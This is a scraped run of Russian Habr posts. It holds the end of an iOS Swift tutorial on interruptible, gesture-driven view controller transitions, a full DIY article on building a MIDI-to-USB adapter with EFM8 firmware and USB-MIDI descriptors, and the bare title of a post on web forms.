Посчитать инкремент и передать его в метод `update`. Принимаемое значение может изменяться от 0 до 1, так мы будет управлять степенью завершённости анимации из метода `interactionControllerForDismissal(using:)`. Расчёты вынес в экстеншен жеста, чтобы код стал чище.
**Расчёты жеста**
```
private extension UIPanGestureRecognizer {
func incrementToBottom(maxTranslation: CGFloat) -> CGFloat {
let translation = self.translation(in: view).y
setTranslation(.zero, in: nil)
let percentIncrement = translation / maxTranslation
return percentIncrement
}
}
```
Расчёты опираются на `maxTranslation`, его мы рассчитываем как высоту показываемого контроллера:
```
var maxTranslation: CGFloat {
return presentedController?.view.frame.height ?? 0
}
```
`.end`
Смотрим завершенность жеста. Правило завершения: если сместилось больше половины, то закрываем. При этом смещение надо считать не только по текущей координате, но и учесть `velocity`. Так мы поймём намерение пользователя: он мог не довести до середины, но свайпнуть сильно вниз. Или наоборот: увести вниз, но свайпнуть вверх для возврата.
**Расчёты projectedLocation**
```
private extension UIPanGestureRecognizer {
func isProjectedToDownHalf(maxTranslation: CGFloat) -> Bool {
let endLocation = projectedLocation(decelerationRate: .fast)
let isPresentationCompleted = endLocation.y > maxTranslation / 2
return isPresentationCompleted
}
func projectedLocation(decelerationRate: UIScrollView.DecelerationRate) -> CGPoint {
let velocityOffset = velocity(in: view).projectedOffset(decelerationRate: .normal)
let projectedLocation = location(in: view!) + velocityOffset
return projectedLocation
}
}
extension CGPoint {
func projectedOffset(decelerationRate: UIScrollView.DecelerationRate) -> CGPoint {
return CGPoint(x: x.projectedOffset(decelerationRate: decelerationRate),
y: y.projectedOffset(decelerationRate: decelerationRate))
}
}
extension CGFloat { // Velocity value
func projectedOffset(decelerationRate: UIScrollView.DecelerationRate) -> CGFloat {
// Magic formula from WWDC
let multiplier = 1 / (1 - decelerationRate.rawValue) / 1000
return self * multiplier
}
}
extension CGPoint {
static func +(left: CGPoint, right: CGPoint) -> CGPoint {
return CGPoint(x: left.x + right.x,
y: left.y + right.y)
}
}
```
`.cancelled` — произойдет, если заблокировать экран телефона или если позвонят. Можно обработать как блок `.ended` или отменить действие.
`.failed` — случится, если жест отменится другим жестом. Так, например, жест перетаскивания может отменять жест тапа.
`.possible` — начальное состояние жеста, обычно не требует особой работы.
Теперь панель можно закрывать и свайпом, но сломалась кнопка `dismiss`. Так случилось, потому что в `TransitionDriver` есть свойство `wantsInteractiveStart`, по умолчанию оно `true`. Для свайпа это нормально, но это блокирует обычный `dismiss`.
Разведём поведение на основе состояния жеста. Если жест начался, то это интерактивное закрытие, а если не начинался, то обычное:
```
override var wantsInteractiveStart: Bool {
get {
let gestureIsActive = panRecognizer?.state == .began
return gestureIsActive
}
set { }
}
```
Теперь пользователь может управлять скрытием:
### Прерываем транзишен
Допустим, мы начали закрывать нашу карточку, но передумали и хотим вернуть. Это просто: в состоянии `.began` вызываем `pause()` для остановки.
Но нужно развести два сценария:
* когда начинаем скрытие от жеста;
* когда прерываем текущий.
Для этого после остановки проверяем `percentComplete:` если он равен 0, то мы начинаем закрытие карточки вручную, плюс нужно вызвать `dismiss`. Если не равен 0, то значит скрытие уже началось, достаточно только остановить анимацию:
```
case .began:
pause() // Pause allows to detect percentComplete
if percentComplete == 0 {
presentedController?.dismiss(animated: true)
}
```
Нажимаю кнопку и сразу свайпаю верх, чтобы отменить скрытие:
#### Прерываем показ контроллера
Обратная ситуация: карточка начала показываться, но нам это не нужно. Мы ловим её и отправляем свайпом вниз обратно. Прервать анимацию показа контроллера можно теми же шагами.
Вернуть драйвер в качестве контроллера интерактивного показа:
```
func interactionControllerForPresentation(using animator: UIViewControllerAnimatedTransitioning) -> UIViewControllerInteractiveTransitioning? {
return driver
}
```
Обработать жест, но с обратными значениями смещения и завершённости:
```
private func handlePresentation(recognizer r: UIPanGestureRecognizer) {
switch r.state {
case .began:
pause()
case .changed:
let increment = -r.incrementToBottom(maxTranslation: maxTranslation)
update(percentComplete + increment)
case .ended, .cancelled:
if r.isProjectedToDownHalf(maxTranslation: maxTranslation) {
cancel()
} else {
finish()
}
case .failed:
cancel()
default:
break
}
}
```
Для разделение показа и скрытия, я ввёл enum с текущим направлением анимации:
```
enum TransitionDirection {
case present, dismiss
}
```
Свойство хранится в `TransitionDriver` и влияет на то, какой обработчик жеста будет использован:
```
var direction: TransitionDirection = .present
@objc private func handle(recognizer r: UIPanGestureRecognizer) {
switch direction {
case .present:
handlePresentation(recognizer: r)
case .dismiss:
handleDismiss(recognizer: r)
}
}
```
Так же оно влияет на `wantsInteractiveStart`. Контроллер мы не планируем показывать жестом, поэтому возвращаем `false` для `.present`:
```
override var wantsInteractiveStart: Bool {
get {
switch direction {
case .present:
return false
case .dismiss:
let gestureIsActive = panRecognizer?.state == .began
return gestureIsActive
}
}
set { }
}
```
Ну и осталось сменить направление жеста, когда контроллер был полностью показан. Лучшее место — в `PresentationController`:
```
override func presentationTransitionDidEnd(_ completed: Bool) {
super.presentationTransitionDidEnd(completed)
if completed {
driver.direction = .dismiss
}
}
```
**А можно без enum?**
Казалось бы, мы можем опираться на свойства контроллера `isBeingPresented` и `isBeingDismissed`. Но они показывают только процесс, а нам нужны ещё и возможные направления: в начале интерактивного закрытия оба значения будут `false`, а нам уже нужно знать, что это направление к закрытию. Это можно решить дополнительными условиями на проверку иерархии контроллеров, но явное задание через `enum`, кажется более простым решением.
Теперь можно прервать анимацию показа. Нажимаю кнопку и сразу свайпаю вниз:
Показывать по жесту
-------------------
Если вы делаете гамбургерное меню для приложения, то, скорее всего, захочется показывать его по жесту. Это работает так же, как интерактивное скрытие, но в жесте вместо `dismiss` вызываем `present`.
Начнём с конца. В `handlePresentation(recognizer:)` покажем контроллер:
```
case .began:
pause()
let isRunning = percentComplete != 0
if !isRunning {
presentingController?.present(presentedController!, animated: true)
}
```
Разрешим показываться интерактивно:
```
override var wantsInteractiveStart: Bool {
get {
switch direction {
case .present:
let gestureIsActive = screenEdgePanRecognizer?.state == .began
return gestureIsActive
case .dismiss:
…
}
```
Для работы кода не хватает ссылок на `presentingController` и `presentedController`. Передадим их при создании жеста, добавим `UIScreenEdgePanGestureRecognizer`:
```
func linkPresentationGesture(to presentedController: UIViewController, presentingController: UIViewController) {
self.presentedController = presentedController
self.presentingController = presentingController
// Для интерактивного закрытия
panRecognizer = UIPanGestureRecognizer(target: self, action: #selector(handle(recognizer:)))
presentedController.view.addGestureRecognizer(panRecognizer!)
// Для интерактивного показа
screenEdgePanRecognizer = UIScreenEdgePanGestureRecognizer(target: self, action: #selector(handlePresentation(recognizer:)))
screenEdgePanRecognizer!.edges = .bottom
presentingController.view.addGestureRecognizer(screenEdgePanRecognizer!)
}
```
Передать контроллеры можно при создании `PanelTransition`:
```
class PanelTransition: NSObject, UIViewControllerTransitioningDelegate {
init(presented: UIViewController, presenting: UIViewController) {
driver.linkPresentationGesture(to: presented,
presentingController: presenting)
}
private let driver = TransitionDriver()
}
```
Осталось правильно создать `PanelTransition`:
1. Создадим `child` контроллер во `viewDidLoad`, так как контроллер может понадобиться нам в любой момент.
2. Создадим `PanelTransition`. В его конструкторе жест привяжется к контроллеру.
3. Проставим transitioningDelegate для child контроллера.
4. Для учебных целей я сделал свайп снизу, но это конфликтует с закрытием приложения на iPhone Х и контрол центром. С помощью `preferredScreenEdgesDeferringSystemGestures` отключил системный свайп снизу.
```
class ParentViewController: UIViewController {
private var child: ChildViewController!
private var transition: PanelTransition!
override func viewDidLoad() {
super.viewDidLoad()
child = ChildViewController() // 1
transition = PanelTransition(presented: child, presenting: self) // 2
// Setup the child
child.modalPresentationStyle = .custom
child.transitioningDelegate = transition // 3
}
override var preferredScreenEdgesDeferringSystemGestures: UIRectEdge {
return .bottom // 4
}
}
```
После изменения оказалось, что есть проблема: после первого закрытия панели она навсегда остаётся в статусе `TransitionDirection.dismiss`. Поставим правильный статус после скрытия контроллера в `PresentationController`:
```
override func dismissalTransitionDidEnd(_ completed: Bool) {
super.dismissalTransitionDidEnd(completed)
if completed {
driver.direction = .present
}
}
```
Код c интерактивным отображением можно посмотреть [в отдельной ветке](https://github.com/akaDuality/InterruptibleTransition/tree/interactivePresentation). Выглядит так:
Заключение
----------
В итоге мы можем показывать контроллер с прерываемой анимацией, а у пользователя появляется контроль над происходящим на экране. Это намного приятней, потому что анимация больше не блокирует интерфейс, её можно отменить или даже ускорить.
Пример можно посмотреть [на github.](https://github.com/akaDuality/InterruptibleTransition)
Подписывайтесь [на канал Dodo Pizza Mobile.](https://telegram.im/dodomobile) | https://habr.com/ru/post/465073/ | null | ru | null |
# MIDI2USB – музыка нас связала
*Рис.1 Российско-китайско-американский конвертер MIDI в USB. Фото автора.*
Люди любят музыку. Многие умеют играть на музыкальных инструментах. А некоторые пробуют импровизировать и даже сочинять музыку. Электронные музыкальные инструменты можно подключать к компьютеру и получать дополнительные творческие возможности. Это вроде бы простое дело, но большинство дешёвых китайских адаптеров USB-MIDI работают посредственно. Кому интересно, как я сделал свой MIDI2USB-адаптер, приглашаю читать
### Постановка задачи
Пару лет назад мой племянник, который учится музыке, начал импровизировать и сочинять музыку. Мне хотелось, чтобы его творчество не пропало, но записывать его музыкальные этюды удавалось только на диктофон. Качество такой записи было неудовлетворительным. Хотелось осуществлять запись нот напрямую в Cubase или MuseScore, а затем их редактировать. Для этого я решил купить китайский адаптер (конвертер) USB-в-MIDI.
**Анекдот в тему**
Отец ведёт сына в первый класс и говорит:
— Вот если будешь хорошо учиться, я тебе куплю компьютер!
— Пап, а если плохо?
— Тогда куплю фортепьяно!
Такой кабель-адаптер стоит дёшево и, как оказалось, работает плохо. Передача данных от синтезатора (электрического пианино) в компьютер не работает. Если играть одним пальцем, то несколько нот удаётся записать, а когда берёшь аккорд или играешь гаммы, то адаптер зависает и превращается в кирпич. Другое направление, т.е. передача данных из компьютера в синтезатор работает хорошо. В отзывах многих покупателей можно найти подобные истории.
### Способы доработки китайского адаптера
В интернете есть немало дискуссий [как улучшить](https://karusisemus.wordpress.com/2017/01/02/cheap-usb-midi-cable-how-to-modify-it/) или [доработать](http://www.arvydas.co.uk/2013/07/cheap-usb-midi-cable-some-self-assembly-may-be-required/) китайский адаптер. В некоторых версиях этого адаптера предусмотрен, но не распаян оптрон, который обеспечивает гальваническую развязку компьютера и синтезатора. Увы, в моём случае доработка была затруднительна, т.к. вместо оптрона установлены два NPN-транзистора. Отмечу, что [MIDI-стандарт прямо указывает](https://www.midi.org/specifications-old/item/midi-din-electrical-specification) использовать оптоизолятор, например, PC900V или 6N138. Схожими характеристикам обладают оптопары H11L1M (DIP-8) или H11L1SM (SO-6). Можно использовать и другие компоненты с подходящими параметрами.
*Рис.2. Китайский адаптер в процессе демонтажа. Фото автора.*
На фото видно, что в корпусе достаточно места чтобы разместить оптоизолятор и сопутствующие элементы. Некоторые умельцы выпаивают имеющиеся компоненты и на их место устанавливают оптоизолятор с «обвесом». Очевидно, что для этой операции требуются не только знания, но и хорошая моторика рук.
Но недостаточно обеспечить оптическую изоляцию музыкального инструмента и компьютера. Требуется ещё точный кварцевый генератор или резонатор, чтобы обеспечить тактирование последовательного интерфейса UART в соответствии со стандартом MIDI. В китайском адаптере, который я купил, отсутствует не только оптопара, но и кварцевый резонатор. Конечно, существуют микросхемы, в которых блоки тактирования калибруются на заводе, но тут ничего подобного нет. В общем, работоспособность этого китайского изделия низкая. Существуют адаптеры, построенные на микросхеме CH345 – преобразователе USB в MIDI в корпусе SSOP-20, но это не мой случай. Микросхема CH345 имеет аппаратные USB-метки Vendor ID: 1a86, Product ID:752d. Впрочем, любая «левая» микросхема может выдавать (и выдаёт) такие же идентификаторы и даже может «притвориться» чем угодно.
Последний небольшой недостаток, который я выявил в китайском адаптере – это программное обеспечение (прошивка). Если говорить точнее – это малый размер буфера для конечных точек (EndPoints), всего по 8 байт. Этого достаточно для передачи нажатых нот, потому что MIDI-сообщение по USB интерфейсу состоит из 4 байт (номер кабеля, номер команды и 2 байта данных). А вот всякие расширения, например SysEx, могут быть большего размера.
Через некоторое время я купил другой кабель-адаптер, который носил громкое название “Professional USB MIDI Interface”. Этот адаптер стоил существенно дороже и работал значительно лучше, но всё равно с ошибками. Проявлялось это в том, что спустя несколько минут игры на синтезаторе, он вдруг начинал пропускать нажатия клавиши или наоборот – не воспринимал отпускание клавиши. Я был разочарован результатами работы китайских адаптеров я и решил последовать совету: «Если хочешь сделать что-то хорошо, то сделай это сам».
### Аппаратная часть
Сначала надо было продумать схему будущего устройства и изучить опыт других инженеров. Имеющийся адаптер внешне выглядел очень хорошо, поэтому я решил использовать от него корпус, светодиоды и экранированные кабели. Тем более, что в Москве MIDI-кабели стоят дороже, чем готовый китайский адаптер. Китайскую плату я вытащил, измерил её габариты и стал изучать MIDI-стандарт и удачные MIDI-проекты в открытом доступе.
*Рис.3 Адаптер USB-MIDI в корпусе и с кабелями.*
На момент написания этой статьи мне известны несколько интересных проектов:
1. Схема из документации на [чип CH345](http://wch-ic.com/products/CH345.html) фирмы «Nanjing Qinheng Microelectronics».
2. Старые проекты на микроконтроллерах Atmega с программной реализацией протокола USB в режиме только Low Speed. А начиная с Windows 7 для USB-устройств типа Audio Class требуется минимум режим Full Speed.
3. Библиотека MIDIUSB для плат семейства Arduino с аппаратной поддержкой USB-интерфейса (Atmega32u4, Cortex-M), а также Maple и т.д.
Электрические принципиальные схемы во всех проектах содержат много типовых фрагментов, основанных на [рекомендациях стандарта MIDI](https://www.midi.org/specifications). Поэтому оставалось выбрать микроконтроллер с поддержкой USB режима Full Speed, найти в продаже оптрон PC900V и розетку DIN-5 (MIDI).
*Принципиальная электрическая схема платы*
Сердцем моего MIDI2USB адаптера стал 8-битный микроконтроллер [EFM8UB20F64G](https://www.silabs.com/mcu/8-bit/efm8-universal-bee/device.efm8ub20f64g-qfp48) фирмы Silicon Laboratories. Мне он очень нравится, и я использую его везде, где могу. Этот контроллер является преемником (после ребрендинга) контроллера С8051F380, который пришёл на смену легендарному C8051F320 – удачной разработке фирмы Cygnal, которую в 2003 купила SiLabs.
Перечислю свои аргументы в пользу микроконтроллера EFM8UB20F64:
* удобство разработки ПО, которое выражается в наличии быстрых и простых в использовании GPIO, SPI, UART, USB, PCA;
* улучшенное 8051-ядро (1-2 такта на команду, 48MIPS), изменение частоты «на лету»;
* встроенный регулятор напряжения, толерантность выводов к +5В, ток до 100 мА;
* встроенный точный тактовый генератор с калибровкой от USB-хоста (± 0.25%);
* наличие [библиотек USBXpress, VCPXpress, USB Device API](http://devtools.silabs.com/studio/doc/EFM8/software/Lib/group___efm8__usb.html) и примеры для быстрого старта;
* чистая errata.
Программировать этот контроллер приятно, т.к. регистров мало и можно сосредоточиться на решении прикладной задачи. Увы, арифметические операции (особенно 32-битные) выполняются медленно, но в остальном EFM8 хорош. Разработка программного обеспечения для USB-устройств – это не простая задача. И тут есть главное преимущество контроллеров SiLabs – это библиотеки USBXpress, VCPXpress, USB Device API. Даже фирма Texas Instruments в своих платах SmartRF использует контроллеры C8051F320.
Оптрон – это второй по важности компонент в адаптере. Я решил взять Sharp PC900V, потому что именно он указан в рекомендуемой схеме MIDI-спецификации. Особенность этого оптрона – быстрые времена включения и выключения (1мкс и 2мкс), а также наличие цифрового выхода. Но есть и недостатки – большие размеры микросхемы (7х10мм) и выгорание на 50% через 5 лет эксплуатации. Габариты оптрона не позволили разметить все компоненты на одной стороне платы. Ещё мне не хотелось отказываться от разъёма MIDI, который занимал много места.
*Рис.4 Задняя сторона платы с оптроном PC900V и светодиодами. Фото автора.*
Выходной каскад собран по рекомендованной стандартом схеме на логической микросхеме 74LVC2G04, состоящей из двух инверторов. Основная цель этого компонента – преобразование уровней логических сигналов из 3В => 5В и обеспечение выходного тока не менее 10 mA.
**Ещё анекдот**
На конкурсе песни выступает чукча:
-Увезу тебя я в тундру, зелёный, увезу к седым снегам, белой шкурою медвежьей, красный, брошу их к твоим ногам…
И так всю песню. Председатель жюри спрашивает:
— А почему у вас в песне слова какие-то странные?
— Цветомузыка, однако!
Остальные компоненты выполняют вспомогательные функции и не оказывают существенного влияния на работу устройства. Резисторы, конденсаторы, диоды и светодиоды могут быть заменены в разумных пределах. Вместо разъёма mini-USB можно поставить micro-USB или сделать штыревой разъём под пайку кабеля, как делают китайцы. Разъём MIDI занимает много места и в корпус не помещается, поэтому он используется только в версии адаптера без корпуса. Сигналы MIDI-IN и MIDI-OUT выведены на штыревой разъём для распайки кабеля. В общем, следовало бы скорректировать расположение светодиодов и разъёмов для их оптимального расположения в корпусе.
*Рис.5 Отладочная и коробочная версии адаптера MIDI2USB. Фото автора.*
Общий ток потребления не превышает 50 mA. Он складывается из следующих частей:
* микроконтроллер, 15mA;
* три светодиода, 15mA (3х5mA);
* микросхема 74LVC2G04, 10 mA;
* оптрон PC900V, 10 mA.
Двухслойная печатная плата была изготовлена [американцами в OSH Park](https://docs.oshpark.com/services/), толщина 1.6мм, медь 0.035мм, материал FR-4.
### Программная часть
Создание программного обеспечения для оборудования – важный и ответственный этап разработки. К счастью, во всех современных операционных системах есть драйверы для MIDI устройств, подключаемых к порту USB. Задача сокращается и требуется написать только прошивку (firmware) для адаптера.
Обычно я использую Keil uVision PK51 совместно с Configuration Wizard 2, иногда IAR Embedded Workbench, и совсем редко SiLabs Simplicity Studio. Каждая среда имеет достоинства и недостатки. В этом проекте я решил использовать IAR, потому что хотелось иметь «С с классами». Кроме того, компилятор IAR предоставляет доступ ко всем битам системных регистров. Например, *P2\_bit.B0 = 1;* или *PCA0MD\_bit.WDTE = 0;*
Нет необходимости использовать «магические константы» или многоэтажные битовые выражения, которыми пестрят CMSIS или «SI\_EFM8UB2\_Register\_Enums.h». Увы, весь этот функционал объявлен в файле «ioEFM8UB20F64G.h», который оказался не совместим с библиотеками «si\_toolchain.h» (например, макрос B0..B3). Переводить проект в Keil uVision PK51 я не стал, а просто писал совместимый код на С для всех сред разработки.
#### Код проекта разделён на несколько функциональных частей
1. В файле «main.c» находится точка входа, объявления глобальных переменных, вызов инициализация периферии и главный цикл программы.
2. В файл «init.c» содержит настройку тактирования, портов, UART и его прерываний.
3. В файле «descriptors.c» можно найти USB-дескрипторы для устройства типа Audio Class.
4. В файле «midi.c» находятся две функции для преобразования MIDI-сообщений в USB-события и обратно. Используется автомат состояний.
5. Файл «usbconfig.h» содержит макросы и определения (#define) для настройки режимов работы библиотеки USB Device API.
Посмотрим на функцию main() с настройкой портов, периферии и главным циклом.
```
int main( void )
{
WDT_Init(); // Disable WDTimer (not used)
PORT_Init(); // Initialize ports (UART, LEDs)
SYSCLK_Init(); // Set system clock to 48MHz
UART0_Init(); // Initialize UART0 @31250, 8-N-1
USBD_Init( &usbInitStruct ); // Initialize USB, clock calibrate
LED_IN = 1; // Blink LED
LED_OUT = 1; // Blink LED
IE_EA = 1; // Global enable IRQ
while(1)
{
//--- MIDI => USB
if( nMidiCount > 0 )
{
IE_EA = 0; // Begin: Critical section
if( USB_STATUS_OK==USBD_Write(EP1IN,aMidiBuffer,nMidiCount,false) )
{
nMidiCount = 0; // Reset MIDI data byte counter
}
IE_EA = 1; // End of: Critical section
LED_IN = 0; // Turn off input LED
}
//--- USB => MIDI
if( nUsbCount )
{
uint8_t i;
LED_OUT = 1; // Turn on Led on New packet
for(i = 0; i < nUsbCount; i++) // Process every data byte
{
USB2MIDI( aUsbBuffer[i] ); // Convert USB packet into MIDI
}
nUsbCount = 0; // Reset counter
USBD_Read(EP2OUT, aUsbBuffer, sizeof(aUsbBuffer), true);
LED_OUT = 0; // Turn off Led, when done
}
}
}
```
Библиотека фирмы SiLabs для USB-устройств состоит из набора подпрограмм, которые компилируются и включаются в проект в зависимости от настроек в файле «usbconfig.h». Это очень напоминает библиотеку «libusb, V-USB», которую можно встретить в коде для микроконтроллеров фирмы Atmel (ныне Microchip). Надо отметить, что у SiLabs получилась хорошая и удобная библиотека с точки зрения программиста.
Важную роль в работе любого USB-устройства играют описатели (дескрипторы) устройства, конфигурации и интерфейсов. С помощью этих дескрипторов устройство сообщает хосту (компьютеру) о своих требованиях, возможностях, параметрах и т.д. Функция обработки запросов дескрипторов обычно имеется в каждой USB-библиотеке, а от программиста требуется лишь правильно заполнить структуры данных, содержащих эти дескрипторы.
**Код с дескрипторами**
```
SI_SEGMENT_VARIABLE
(usbDeviceDesc[], const USB_DeviceDescriptor_TypeDef, SI_SEG_CODE) =
{
USB_DEVICE_DESCSIZE, // bLength, 18 bytes
USB_DEVICE_DESCRIPTOR, // bDescriptorType, 1
htole16(0x0110), // bcdUSB Ver, 1.10
0x00, // bDeviceClass, 0 for Audio
0x00, // bDeviceSubClass, 0 for Audio
0x00, // bDeviceProtocol, 0 for Audio
SLAB_USB_EP1IN_MAX_PACKET_SIZE, // bMaxPacketSize0, 64 bytes
htole16(0x1209), // idVendor, Free GPL (SiLabs 0x10C4)
htole16(0x7522), // idProduct
htole16(0x0100), // bcdDevice, 1.00
0x01, // iManufacturer string
0x02, // iProduct string
0x03, // iSerialNumber (no serial string)
0x01 // bNumConfigurations
};
```
Обо всех дескрипторах, топологии и терминологии подробно и детально написано в стандарте [«Universal Serial Bus Device Class Definition for MIDI Devices»](https://www.usb.org/sites/default/files/midi10.pdf). А для быстрого старта и погружения в тему достаточно изучить информацию, которую предоставляют программы «usbview.exe» из пакета Windows Driver Kit 7600 или [«USB Descriptor Dumper»](https://www.thesycon.de/eng/usb_descriptordumper.shtml). Кое-что можно даже скопировать к себе в программу.
*Рис.6 Информация о дескрипторах в программе «usbview.exe»*
Дескрипторы и соответствующие массивы и структуры размещается во флэш-памяти микроконтроллера (сегмент кода), потому что эти данные не изменяются (константы). Хранение констант во флэш-памяти – типичный программистский приём, который позволяет экономить оперативную память.
Следует обратить внимание на поля Vendor\_ID и Product\_ID в структуре описателя устройства. Это пара чисел для уникальной идентификации USB-устройства. Чтобы получить для своего устройства такой номер надо заплатить денег организации USB-IF или направить запрос владельцу существующего Vendor\_ID (производителю микроконтроллеров) и получить Product\_ID. А можно, например, как китайцы использовать чужие наиболее подходящие VID & PID. Для открытых проектов есть вариант [получить бесплатно Product\_ID](https://github.com/pidcodes).
Ещё один момент, на который следует обратить внимание при разработке USB-устройств звукового класса MIDI Streaming – это разъёмы (Jack). Разъёмы – это воображаемые (виртуальные) сущности для описания топологии и связей между устройством и хостом. Они бывают входные (In Jack) и выходные (Out Jack), внутренние (Embedded) и внешние (External). У каждого разъёма есть уникальный идентификатор Jack\_Id (число от 0 до 15). Выходные разъёмы содержат номер источника Source Id, т.е. номер разъёма для подключения. Наконец, поверх образованных каналов (потоков ввода и вывода) работают звуковые конечные точки (audio end-point, EP). Это почти обычные Bulk EP, у которых в дескрипторах есть информация о привязке к разъёму.
*Рис. 7 Разъёмы Jacks и виртуальные потоки в USB (класс MIDI).*
**MIDI Jack Descriptors**
```
// EMB: IN Jack #1 <-----> EXT: OUT Jack #4
// EMB: OUT Jack #3 <-----> EXT: IN Jack #2
//--- Class-Specific MS Interface Header Descriptor, p.40
USB_MIDI_INTERFACE_DESCSIZE, // bLength, 7 bytes
USB_CS_INTERFACE_DESCRIPTOR, // bDescriptorType, 0x24
MIDI_CS_IF_HEADER, // bDescriptorSubtype, 0x01
0x00, // bcdADC(LSB)
0x01, // bcdADC(MSB), 0x0100 (version)
0x41, // wTotalLength(LSB), 65 bytes
0x00, // wTotalLength(MSB)
//--- MIDI IN JACK EMB(it connects to the USB OUT Endpoint), p.40
USB_IN_JACK_DESCSIZE, // bLength, 6 bytes
USB_CS_INTERFACE_DESCRIPTOR, // bDescriptorType, 0x24
MIDI_CS_IF_IN_JACK, // bDescriptorSubtype, 0x02
MIDI_JACK_TYPE_EMB, // bJackType, 0x01 (embedded)
1, // bJackID, #1
0, // Jack string descriptor, unused
//--- MIDI IN JACK EXT, p.40
USB_IN_JACK_DESCSIZE, // bLength, 6 bytes
USB_CS_INTERFACE_DESCRIPTOR, // bDescriptorType, 0x24
MIDI_CS_IF_IN_JACK, // bDescriptorSubtype, 0x02
MIDI_JACK_TYPE_EXT, // bJackType, 0x02 (external)
2, // bJackID, #2
0, // Jack string descriptor, unused
//--- MIDI OUT JACK EMB (connects to IN Endpoint), p.41
USB_OUT_JACK_DESCSIZE, // bLength, 9 bytes
USB_CS_INTERFACE_DESCRIPTOR, // bDescriptorType, 0x24
MIDI_CS_IF_OUT_JACK, // bDescriptorSubtype, 0x03
MIDI_JACK_TYPE_EMB, // bJackType, 0x01
3, // bJackID
1, // bNrInputPins
2, // baSourceID, this <=> Jack #2
1, // baSourcePin
0, // iJack, unused
//--- MIDI OUT JACK EXT, p.41
USB_OUT_JACK_DESCSIZE, // bLength, 9 bytes
USB_CS_INTERFACE_DESCRIPTOR, // bDescriptorType, 0x24
MIDI_CS_IF_OUT_JACK, // bDescriptorSubtype, 0x03
MIDI_JACK_TYPE_EXT, // bJackType, 0x02
4, // bJackID
1, // bNrInputPins
1, // baSourceID, this <=> Jack #1
1, // baSourcePin
0, // iJack, unused
```
Обмен данными в звуковом USB-устройстве класса MIDI заключается в передаче 32-битных пакетов (USB-MIDI Event Packet). Из MIDI-устройства приходят сообщения длиной 1, 2 или 3 байта. При передаче по USB к этим байтам добавляется головной байт с номером кабеля и кодом команды. Если пакет получается менее 4 байт, то он дополняется 0. В текущей версии прошивки я не заполняю нулями до 32-битной границы. Это работает. Вопрос остаётся открытым.
Например, в кабеле №1 команда нажатия клавиши Note On (время передачи 960us) преобразуется в следующий пакет:
> MIDI: 0x90 0x60 0x7f => USB: 0x19 0x90 0x60 0x7f
*Рис.8 Схема пакета USB-MIDI Event Packet из USB спецификации.*
```
typedef union
{
struct PACKET
{
uint8_t cable : 4; // Cable Number (we use #0)
uint8_t cin : 4; // Code Index Number (cmd: 0x08)
uint8_t cmd; // MIDI command (status byte)
uint8_t data1; // MIDI data byte #1
uint8_t data2; // MIDI data byte #2
};
uint8_t buffer[sizeof(struct PACKET)];
} MIDI_EVENT_PACKET;
```
Прямое и обратное преобразование выполняются функциями [MIDI2USB() и USB2MIDI ()](https://github.com/makbit/MIDI2USB/blob/master/Firmware/midi.c). В этих функциях применён автомат состояний, когда по мере поступления входных данных функция переходит из состояния ожидания (IDLE) в состояние приёма команд (STATUS), а затем в состояние приёма данных (DATA), и, наконец, отправка данных с возвратом в исходное состояние ожидания.
В MIDI-протоколе байты данных в сущности являются 7-битными (0..127). У них всегда старший 8-ой бит установлен в 0. Команды (байты статуса) наоборот всегда идут с установленным старшим битом в 1, т.е. имеют значения от 128 до 255.
*Рис. 9 Типы байтов в MIDI-протоколе.*
**Анекдот про разрядность чисел**
Телефонный звонок:
— Алло, это квартира Сидорова Ивана Петровича?
— Hет, это квартира Каца Абрама Самуиловича.
— Извините, это 11-22-33?
— Hет, это 11-22-34.
— Hадо же! В шестом знаке ошибка, а такой эффект!
Все схемы и исходные тексты, а также готовая прошивка находятся у меня в [git-хранилише](https://github.com/makbit/MIDI2USB). Лицензия MIT.
### Программное обеспечение
После монтажа платы следует запрограммировать микроконтроллер. Для этого можно использовать или фирменный/клон SiLabs C2 Debug Adapter, или J-Link v10+ (с поддержкой EFM8), или прошитый на заводе bootloader (ревизия Rev-B), или, наконец, Arduino с соответствующим скриптом. Для проверки и отладки MIDI-сообщений очень помогает программа [MIDI-OX](http://www.midiox.com/).
*Рис.10 Интерфейс программы MIDI-OX.*
Если работать с Cubase, то следует установить Asio-драйверы, потому что при использовании DirectSound и DirectInput наблюдается задержка между нажатием клавиши и воспроизведением ноты. Задержка не связана с аппаратной частью и является особенностью реализации ОС. В общем, устройство отлично выполняет свои функции с инструментом Casio CDP-100.
*Рис.11 Интерфейс программы Cubase 5.*
Экспериментальные прошивки генерировали максимально возможный поток нот и других MIDI-команд. Какофония была ужасная, но всё работало, как задумано. А с помощью [MuseScore 3.2](https://musescore.org) можно записывать и воспроизводить mid-файлы.
**Анекдот последний**
1990-е. Братва празднует новый год в ресторане. Из музыки — только караоке. Все недоволны. Братки отлавливают администратора:
— Слушай, подгони музыкантов!
— Да, вы что! Новый год — все заняты!
— Ты не понял! Быстро музыкантов!
— Ну… есть у меня одна группа. Играют крутой джаз!
— Давай! Крутой джаз нам подходит!
Приезжают джазмены. Распаковываются и начинают играть. Одну, пьесу, другую, третью… В зале становится тихо. Братки шепчутся, трезвеют. Один из братков подходит к сцене и спрашивает:
— Что, пацаны, не получается?
### Результаты работы
Адаптер работает! Кажется, мне удалось сделать добротный конвертер MIDI в USB. Для своего устройства я использовал корпус, некоторые детали и кабели от китайского адаптера. Mini-USB разъём оказался глубоко в корпусе и пришлось переделывать USB-кабель и поработать напильником. Светодиоды хотя и под углом, но плотно вошли в отверстия. Требуется доработка платы под китайский корпус.
**Рис. 12. Компактная разобранная вилка mini-USB.**
Решение применить 8-битный микроконтроллер EFM8UB20 кому-то может показаться спорным. Конечно, есть и другие варианты и контроллеры. Альтернативный путь – это выбрать сугубо аппаратное решение на преобразователе CH345 и сделать устройство по рекомендованной китайцами референс-схеме. Но мой вариант универсальный, т.к. позволяет изменить прошивку, добавить нужный функционал или исправить найденные ошибки. В конце концов я получил знания, опыт и моральное удовлетворение от законченного проекта. И, наконец, я дописал статью, а вы её дочитали.
### Полезные ссылки
* [Стандарт USB для MIDI-устройств](https://www.usb.org/sites/default/files/midi10.pdf)
* [MIDI-спецификация 1.0](http://www.shclemen.com/download/The%20Complete%20MIDI1.0%20Detailed%20Spec.pdf)
* [Сравнение USB-MIDI адаптеров](https://frank-buss.de/midi/)
* [Микросхема CH345T](https://gwerder.digital/shop/ProdukteDetails/CH345DS1.pdf)
* [Послушать творения юного композитора](https://soundcloud.com/music-ivan2008/toccata-mini-2020-ivan-maxmix-stereo)
* [Открытые проекты автора](https://github.com/makbit)
Спасибо за внимание. | https://habr.com/ru/post/522808/ | null | ru | null |
# Делаем веб-формы удобнее для заполнения
